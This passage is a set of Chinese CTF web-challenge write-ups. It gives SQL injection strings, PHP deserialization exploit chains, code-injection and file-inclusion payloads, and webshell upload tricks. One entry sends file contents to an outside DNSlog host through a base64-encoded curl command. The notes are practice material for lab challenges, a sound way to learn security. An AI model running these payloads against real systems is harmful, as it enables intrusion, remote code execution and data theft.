CTF题目总结

[强网杯 2019]随便注

tips:表名为数字时,需要用反引号包括起来查询。

1
0'; show columns from `1919810931114514 `; #

alter语句:

1
alter table 表名 rename 新表名;
1
alter table 表名 change 旧字段名 新字段名 类型;

题目思路:

在框中输入1、2、3时,观察回显有两行,并结合堆叠注入观察本题中的两个表,发现‘words’表里面有两个列,所以判断题目中的后端sql语句为:

1
"select * from words where id='".$_GET['inject']."'"

又由输入1、2、3等数字时出现的回显,可推测它是以id字段为索引

所以可以将含有flag的表’1919810931114514’改名成words:

1
1';alter table words rename aaa;alter table `1919810931114514` change flag id varchar(64);alter table `1919810931114514` rename words;#

现在变成以flag的值为索引,然而我们并不知道flag的值是多少

所以使用万能钥匙1' or '1' = '1,即可得到flag

[HUBUCTF 2022 新生赛]checkin

1.若发现反序列化题目中甚至连类都没有时,在exp中直接构造数组a,在里面对变量进行赋值,然后输出其序列化格式。

例如:$a = array( 'username' => true , 'password' = true );

2.布尔类型True与非零非NULL变量比较都会是True

[SUCTF 2019]CheckIn

传入.user.ini文件,内含auto_prepend_file=muma.png,意为:将muma.png包含到本地的index.php中,所以在上传了木马图片和.user.ini文件后,只用访问index.php在里面传参即可。

[suctf 2019]EasySQL

猜测后端sql语句为:

1
select $_POST['query'] || flag from Flag;

法一:

query=*,1 即:

1
select *, 1 || flag from Flag;

经过实验发现:

只有非零数字和flag进行或运算才可以返回真。

所以等价于:

1
select *,1 from Flag;

法二:

query=1;set sql_mod=PIPES_AS_CONCAT;select 1

set sql_mod=PIPES_AS_CONCAT的作用是将’||’的意义由原来的或运算转换成字符串的连接符。

所以等价于:

1
select concat(1,flag) from Flag;

[鹤城杯 2021]EasyP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
} //不用管这段!

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

用正确的payload理解以下三个抽象点。

payload:http://node4.anna.nssctf.cn:28618/index.php/utils.php/%88?show[source=1

1.$_SERVER['PHP_SELF']

即为:/index.php/utils.php/%88(由网站的根截取到赋值步骤的前面)

2.$_SERVER['REQUEST_URI']

即为:/index.php/utils.php/%88?show[source=1(由网站的根截取到url的尾巴)

3.basename($_SERVER['PHP_SELF'])

原意为拿走括号内容里面最后一个/后面的东西,但是这边/后面是%88(一种非ascii字符)或者是中文也可以,这种情况下就会被忽略,于是basename定位到上一个/后面,即是:utils.php

[CTFSHOW] Web257

1
2
3
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}

当遇到过滤了O:x的时候,可以在exp中:

1
2
3
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);//绕过preg_match
echo urlencode($a);

原理即是在O后面的数字前面多加一个正号,不改变原意,且能绕过正则。

[MoeCTF 2021]Do you know HTTP

*一开始进来看到说请使用HS请求,一下子有点懵逼后来才知道这个只能使用burpsuite来修改。

1
2
3
4
5
6
7
8
9
10
11
HS / HTTP/1.1   <---这边的HS原来是GET请求,只需把它改成HS即可,注意后面的格式要严格按照(空格)/(空格)来
Host: node5.anna.nssctf.cn:28743
Upgrade-Insecure-Requests: 1
User-Agent: LT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: b-user-id=a553dc60-6b40-4051-699c-2d7f2265aa01
Connection: close
X-Forwarded-For:127.0.0.1
Referer:www.ltyyds.com

[CTFSHOW]80

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

将php和data替换为空,这两种伪协议都没法用,于是在日志文件中写入一句话木马,并进行包含。

具体做法:

1.抓包,在User-Agent这一栏的最后写入一句话木马,在GET那一栏中写入包含日志的路径:

1
GET /?file=/var/log/nginx/access.log HTTP/1.1

然后使用蚁剑连接。

[安洵杯2023] easy_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;

public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}

public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}

public function __get($arg1)
{
$this->ll2->ll2('b2');
}

public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}

class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}

if(isset($_POST['D0g3']))
{
unserialize($_POST['D0g3']);
}else{
highlight_file(__FILE__);
}
?>

[安洵杯2023] what’s my name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo $miao;
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
echo 'yes!';
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}

[NISACTF 2022]babyupload

1.分析源代码,发现提示source文件。

2.下载文件,审计python代码,发现有个os.path.join函数。

3.绝对路径拼接漏洞:

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

4.利用上述漏洞,用burpsuite进行抓包时,直接将文件名改成”/flag”,上传一个名叫”/flag”的文件。

5.由于前面所说的漏洞,所以我们在通过查询/file/(/flag文件的uid)时,能够直接查询到根目录下的真实flag文件。

[NISACTF 2022]bingdundun~

1.进入题目点击upload页面,观察url发现有个?bingdundun=upload,想到有可能存在文件包含。

2.只能上传压缩包格式,于是把木马打包成一个zip,zip里面的木马文件名字叫做f1ag.php

3.上传成功,显示页面为/f8e8b332778239d26a9d92e983641a04.zip,于是使用payload:

1
?bingdundun=phar://f8e8b332778239d26a9d92e983641a04.zip/f1ag

即使用phar伪协议包含压缩包里面的文件,注意要加上压缩包的下一集文件名,并且不要加上后缀。

姬哥のweb16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
class A{
public $func;
public $inside;
public $hint;
public function __wakeup() {
if($this->hint==1){
include "php://filter/read=convert.base64-encode/resource=web16.5.php";
}

call_user_func($this->func);

if (file_exists("/var/lib/php/sessions/sess_wllmisbest")){
file_put_contents("/var/lib/php/sessions/sess_wllmisbest","$this->inside");
}
}
}

if(file_exists("/var/lib/php/sessions/sess_wllmisbest")){
include "web16.5.php";
unserialize(file_get_contents("/var/lib/php/sessions/sess_wllmisbest"));
}

unserialize($_GET['wllm']);

1.在本地写exp,将hint改成1,然后输出序列化payload。

2.提交后得到了web16.5的base64编码如下:

1
PD9waHAKY2xhc3MgQnsKICAgIHB1YmxpYyAka2V5OwogICAgcHVibGljIGZ1bmN0aW9uIF9fd2FrZXVwKCl7CiAgICAgICAgaWYobWQ1KCR0aGlzLT5rZXkpPT0kdGhpcy0+a2V5KXsKICAgICAgICAgICAgc3lzdGVtKCJjYXQgZmxhZyIpOwogICAgICAgIH0KICAgIH0KfQ==

解码后得到:

1
2
3
4
5
6
7
8
9
<?php
class B{
public $key;
public function __wakeup(){
if(md5($this->key)==$this->key){
system("cat flag");
}
}
}

tips:include函数包含文件不会回显,需要伪协议来进行回显其具体内容。

include "php://filter/read=convert.base64-encode/resource=web16.5.php";include "web16.5.php";的区别:

前一个会有回显,但是不会真正地把web16.5文件给包含到当下目录。后一个无回显,但是真正地实现了包含的作用。

3.通过审计代码,得知需要让if (file_exists("/var/lib/php/sessions/sess_wllmisbest"))判断成立,则需要让sess_wllmisbest路径下存在文件,方法则是利用call_user_func函数,调用session_start函数,再通过burp抓包,在Cookie这一行中的PHPSESSID后面的值改成wllmisbest,会使得sess_wllmisbest路径下生成文件,满足判断的要求,接下来file_put_contents函数可以将$inside变量写入sess_wllmisbest中的文件,file_get_contents函数用来提取文件中的内容,变成字符串,然后被反序列化。

4.在本地另写一个exp,内容是之前解码得到的php代码,通过正确的key:0e215962017来生成payload,加入到前一个exp的$inside变量中,再次生成payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class A{
public $func = 'session_start';
public $inside = 'O:1:"B":1:{s:3:"key";s:11:"0e215962017";}';
public $hint = 1;
public function __wakeup() {
if($this->hint==1){
include "php://filter/read=convert.base64-encode/resource=web16.5.php";
}

call_user_func($this->func);

if (file_exists("/var/lib/php/sessions/sess_wllmisbest")){
file_put_contents("/var/lib/php/sessions/sess_wllmisbest","$this->inside");
}
}
}

$a = new A();
echo urlencode(serialize($a));

注意这边inside的值不能被url编码,因为后面又要经过一次url编码,会发生错误。

5.提交payload,获得flag。

[FSCTF 2023]ez_php1

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
echo "$hint2";
}
?>

注意:不要因为没有看到类就傻掉,单独的一个变量也是可以进行序列化的。

exp1:

1
2
3
<?php
$str = "YES I love";
echo serialize($str);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;

public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);

?>

考察使用”&”进行引用,让$a与$b用相同的地址。

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Clazz
{
public $a;
public $b;

public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a = new Clazz();
$a->b=&$a->a; //注意这里不是$a->$b
echo serialize($a);

[极客大挑战 2020]greatphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

利用Error原生类绕过哈希比较

正则ban掉了括号和引号,不能正常eval函数,于是构造include "/flag"直接包含文件,但是flag周围有引号,使用取反进行绕过即可。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; //前面要加上?>的原因是:eval执行带有完整标签的语句需要先闭合
$a = new Error($str,1);$b = new Error($str,2);
$c = new SYCLOVER;
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

[GDOUCTF 2023]反方向的钟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php


// flag.php
class teacher{
public $name;
public $rank;
private $salary;

}

class classroom{
public $name;
public $leader;

}

class school{
public $department;
public $headmaster;

}

$a = new school;
$a->department = new classroom;
$a->department->name = "one class";
$a->department->leader = new teacher;
$a->department->leader->name = 'ing';
$a->department->leader->rank = 'department';
$a->headmaster = 'ong';
echo(base64_encode(serialize($a)));
?>

重点是利用SplFileObject类进行文件读取。

payload:

1
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

注意这里要使用php伪协议进行读取,因为SplFileObject读文件只能读取第一行,而伪协议可以把它压缩成一行,从而读取完整的文件。

[SWPUCTF 2023 秋季新生赛]If_else

1
2
3
4
5
6
7
8
9
10
<?php
$a=false;
$b=false;
if(你提交的部分将会被写至这里)
{$a=true;}
else
{$b=true;}
if($a===true&&$b===true)
eval(system(cat /flag));
?>

题目要求:提交POST参数check,内容会写入到上述的if判断语句中。

一些与题目无关的知识:

if语句的赋值特性

if的判断语句内是可以进行赋值操作的,返回值即为被赋予的值,只要不是0,都判断为正确。

本题思想:

使用php的多行注释符:/*闭合掉后面的所有语句,自己构造语句读取flag。

payload:

1
check=1){eval(system("cat /flag"));}/*

[NISACTF 2022]level-up

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}

重点考察create_function函数造成的代码注入漏洞

payload:

1
?a=\create_function&b=}system("cat /flag");/*

为什么给a的赋值前面要加上一个\呢,理解如下:

php中有一个空间的概念,默认情况下写入的代码都位于全局空间,而\可以起到一个分割空间的作用。然而默认情况下代码create_function\create_function都是同样位于全局空间的,所以即能够绕过正则表达式,也不影响函数的正常执行。

[CTFSHOW 愚人杯2023]被遗忘的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}

public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}

public function __clone(){
$a = new cycycycy;
$a -> aaa();
}

}

class cycycycy{
public $a;
private $b;

public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}


public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}

class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

public function __destruct(){
echo $this->aaa;
}

public function __invoke(){
$this -> aaa = clone new EeE;
}
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

首先审计代码,在cycycy类中发现了eval函数,鉴定为出口。但是发现一个问题:cipher函数是什么?我们要知道cipher函数的加密过程,推出p8vfuv8g8v8py密文加密前的样子,才能继续。

观察到gBoBg类中的__tostring方法中有一个形如new $a($b);的东西,判断这边可以使用原生类反序列化知道一些文件的名字和读取文件,又由提示说目录下有一个txt文件,所以准备开始构造pop链,目标是读取这个txt。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class EeE{
public $text;
public $eeee;

}

class cycycycy{
public $a;
private $b;

}

class gBoBg{
public $name = '1';
public $file = '*txt';
public $coos = 'GlobIterator';
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
}

$a = new w_wuw_w;
$b = new gBoBg;
$a->aaa = $b;
echo(serialize($a));

将序列化代码塞进去后得到txt文件名字叫做h1nt.txt,随后用SplFileObject类进行读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class EeE{
public $text;
public $eeee;

}

class cycycycy{
public $a;
private $b;

}

class gBoBg{
public $name = '1';
public $file = 'h1nt.txt';
public $coos = 'SplFileObject';
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
}

$a = new w_wuw_w;
$b = new gBoBg;
$a->aaa = $b;
echo(serialize($a));

显示用于check.php,于是我们现在想办法读取check.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class EeE{
public $text;
public $eeee;

}

class cycycycy{
public $a;
private $b;

}

class gBoBg{
public $name = '1';
public $file = 'php://filter/read=convert.base64-encode/resource=check.php';
public $coos = 'SplFileObject';
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
}

$a = new w_wuw_w;
$b = new gBoBg;
$a->aaa = $b;
echo(serialize($a));

读取得到check.php的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function cipher($str) {

if(strlen($str)>10000){
exit(-1);
}

$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";

for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);

if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}

return $shifted;
}

经过代码审计,知道了加密的规律:

将明文的每个字符在$charset中找到对应的位置,并按照$charset中的顺序前移4位,最终得到密文。

根据该规律,我们可以得到密文p8vfuv8g8v8py的明文是fe1ka1ele1efp,现在可以开始构造pop链直达eval函数的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class EeE{
public $text = 'aaaa';
public $eeee;

}

class cycycycy{
public $a;
private $b;

}

class gBoBg{
public $name;
public $file = '6';
public $coos;

}

class w_wuw_w{
public $aaa;
public $key;
public $file;
}

$a = new w_wuw_w;
$a->aaa = new gBoBg;
$a->aaa->coos = new w_wuw_w;

echo(serialize($a));

最终利用eval函数cat出flag。

[护网杯 2018]easy_tornado

题目中给出了三个路由:flag.txt,welcome.txt,hints.txt。

打开flag.txt,提示flag在/fllllllllllllag中。

打开welcome.txt,里面写道render。render 函数是许多Web框架和模板引擎中常见的一个函数,用于将模板文件渲染为最终的HTML页面。所以这边应该只是提示这题是模板注入类型。

打开hint.txt,提示**md5(cookie_secret+md5(filename))**。

观察点进各个路由时url的特征,即都是由:?filename=/xxx&filehash=xxx组成的。猜测filename里面放的就是要打开的文件的名称,filehash里面放着的要是hint文件中提示的加密规则之后的密文。

综合前面提示,我们知道filename里面要放入/fllllllllllllag。

我们还需要知道cookie_secret是什么。

在filename里面随便输入时,会跳转到一个Error页面,仔细观察此时的url,出现了类似模板注入的地方。

传入:/error?msg={{handler.settings}}回显的内容会出现cookie_secret

最后输入正确的密文,获取flag。

[HCTF 2018]WarmUp

进入题目,在网页源代码中发现存在source.php文件,进入。

找到源码如下,并进行代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page) //存在一个checkFile方法
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单关联数组
if (!isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} //如果$page存在且为字符串形式,才能过这一关

if (in_array($page, $whitelist)) {
return true;
} //如果$page在白名单里头,直接返回true,结束方法。

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); //定义$_page变量为$page变量中从开头到第一个问号的位置
if (in_array($_page, $whitelist)) {
return true;
} //如果$_page变量在白名单中,直接返回true,结束方法

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it"; //如果没有通过前面的检测,就会输出失败。
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file']) //如果file有内容、为字符串形式,并且通过了前面checkFile方法的检测,则包含file文件。
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

输入:/source.php?file=hint.php,包含进来hint文件,得知flag文件是ffffllllaaaagggg

构造payload如下:

1
/source.php?file=source.php?/ffffllllaaaagggg

重要思想:

构造source.php?的目的有两个:

一是绕过前面的检测,source.php?可以通过checkFile方法的检测。

二是在source.php?后加一个/,这时source.php会被视为一个文件夹,后面每一级的..意为上一层文件夹,通过不断尝试加入../最后可以知道具体的目录层级,以访问到ffffllllaaaagggg。

所以在ffffllllaaaagggg前面添加若干个**../**,返回到上一级的目录,直至找到flag文件。

[Hgame2024] What the cow say?

输入的东西会得到回显,试着用反引号进行命令执行:

1
`ls /`

结果成功回显网页根目录下的文件名字。

看到flag的文件名字叫做:flag_is_here再执行ls,看到当前目录下有个文件app.py,用tac命令对其进行读取,看到’flag’和’cat’被ban掉了。

想到使用通配符*****进行绕过,输入:

1
`tac /f*`

回显:

1
tac: /flag_is_here: read error: Is a directory

经过翻译可以得知:flag_is_here是一个文件夹的名字,不可以直接对一个文件夹进行读取,而是要对一个文件进行读取。

所以再使用一次通配符读取文件夹里面的flag文件。

1
`tac /f*/f*`

得到flag。

[Hgame2024] jhat

1.根据提示进入网页的oql界面,在框内进行rce。

2.java的rce通用payload为:java.lang.Runtime.getRuntime().exec("payload")

3.通过DNSlog外带,构造payload如下:

1
bash -c {echo,Y3VybCBgY2F0IC9mKmAuZzNpMjQ1LmNleWUuaW8=}|{base64,-d}|{bash,-i}

其中”Y3VybCBgY2F0IC9mKmAuZzNpMjQ1LmNleWUuaW8=”解码为:”curl cat /f*.g3i245.ceye.io”

“g3i245.ceye.io”即是对应的DNSlog网址。

再将构造好payload代入,就能在DNSlog网站中找到request里的flag。

[RoarCTF 2019]Easy Calc

1.在源码中找到calc.php

2.进入calc.php,经过测试,发现除数字之外的东西都被WAF给禁用了

3.绕过:

因为num不可以传入字母,但是我们在num参数之前添加一个空格,这样在PHP的语言特性下会默认删除这个空格,但是WAF会因为这个空格导致检测不到num这个参数,最终导致WAF被绕过。

[网鼎杯 2018]Fakebook

1.在join一栏中随便输入进行注册

2.在robots.txt中发现泄露的源码,在源码中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

找到疑似SSRF漏洞的代码

3.从这里可以推理出blog的位置可以利用SSRF漏洞,即构造file:///var/www/html/flag.php对flag进行读取。

4.观察到注册完的页面的url为:/view.php?no=1,想到可以对其进行SQL注入。

5.输入:1 and 1=1,查询成功,判断其为数字型注入,使用order by指令知晓它有四列,接着使用联合注入,发现回显位在第二列,查库查表查字段。

6.在data字段里面发现了一串序列化代码,可以想到在join栏注册的时候,数据被序列化,在view栏中显示的时候,序列化代码被反序列化执行。

7.根据联合注入的特性:select的东西若不存在,会在对应列下面多出一个对应的字段。

8.根据观察可以判定blog列在第四列,所以将序列化的payload放入其中:

1
O:8:"UserInfo":3:{s:4:"name";s:7:"xiaofuc";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

,然后在网页源代码中找到被base64加密过后的flag。

[BSidesCF 2020]Had a bad day

在点击猫或者狗的时候,观察到url变成了**?category=…**

猜测可能存在文件包含漏洞,配合上php伪协议,构造:

1
?category=php://filter/read=convert.base64-encode/resource=index

成功读取源码,注意到:

1
2
3
if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
include ($file . '.php');
}

说明最后的payload不能简单地构造成:

1
php://filter/read=convert.base64-encode/resource=flag

其中必须要包含”woofers”,”meowers”,”index”其中之一的字符串。

最终构造payload:

1
php://filter/read=convert.base64-encode/index/resource=flag

它既包含了”index”字符串,又使得伪协议能正常运作

[GXYCTF2019]禁止套娃

点进去什么也找不到,于是使用dirsearch,发现了许多.git文件。

使用GitHack工具,将index的源码下载下来,进行代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
echo "flag鍦ㄥ摢閲屽憿锛�<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("杩樺樊涓€鐐瑰摝锛�");
}
}
else{
die("鍐嶅ソ濂芥兂鎯筹紒");
}
}
else{
die("杩樻兂璇籪lag锛岃嚟寮熷紵锛�");
}
}
// highlight_file(__FILE__);
?>

发现输入的exp需要满足a(b(c());这样的嵌套形式。

法一:
使用session_start()来开启session会话,使用session_id函数来获取当前会话的ID,再手动加入请求头:

1
Cookie: PHPSESSID=flag.php

对flag文件进行高亮显示。

法二:

使用payload:

1
var_dump(scandir(current(localeconv())));

对当前目录文件进行遍历。

得到:

1
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }

使用array_reverse函数将其倒序排列。

1
array(5) { [0]=> string(9) "index.php" [1]=> string(8) "flag.php" [2]=> string(4) ".git" [3]=> string(2) ".." [4]=> string(1) "." }

最终构造:

1
highlight_file(next(array_reverse(scandir(current(localeconv())))));

[安洵杯 2019]easy_web

要点:

在cyberchef上用Hex编码进行加密要注意:加密完是有空格的,要手动把空格给删掉。

不要在hackbar上传md5强碰撞,用bp发上去。

当ban掉了ls时,可以使用dir进行平替。

当ban掉了”ls”,”cat”等关键字时,可以使用\来绕过。

例如:ca\t

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

若输入的字符串中出现’php’,’flag’等字符串,将其直接替换为空。

1
extract($_POST);

通过一个关联数组来批量创建变量。

它会触发变量覆盖的漏洞:如果post传参为_SESSION[flag]=123,那么$_SESSION[“user”]和$_SESSION[“function”]的值都会被覆盖

1
2
3
4
5
6
7
8
if($function == 'highlight_file'){
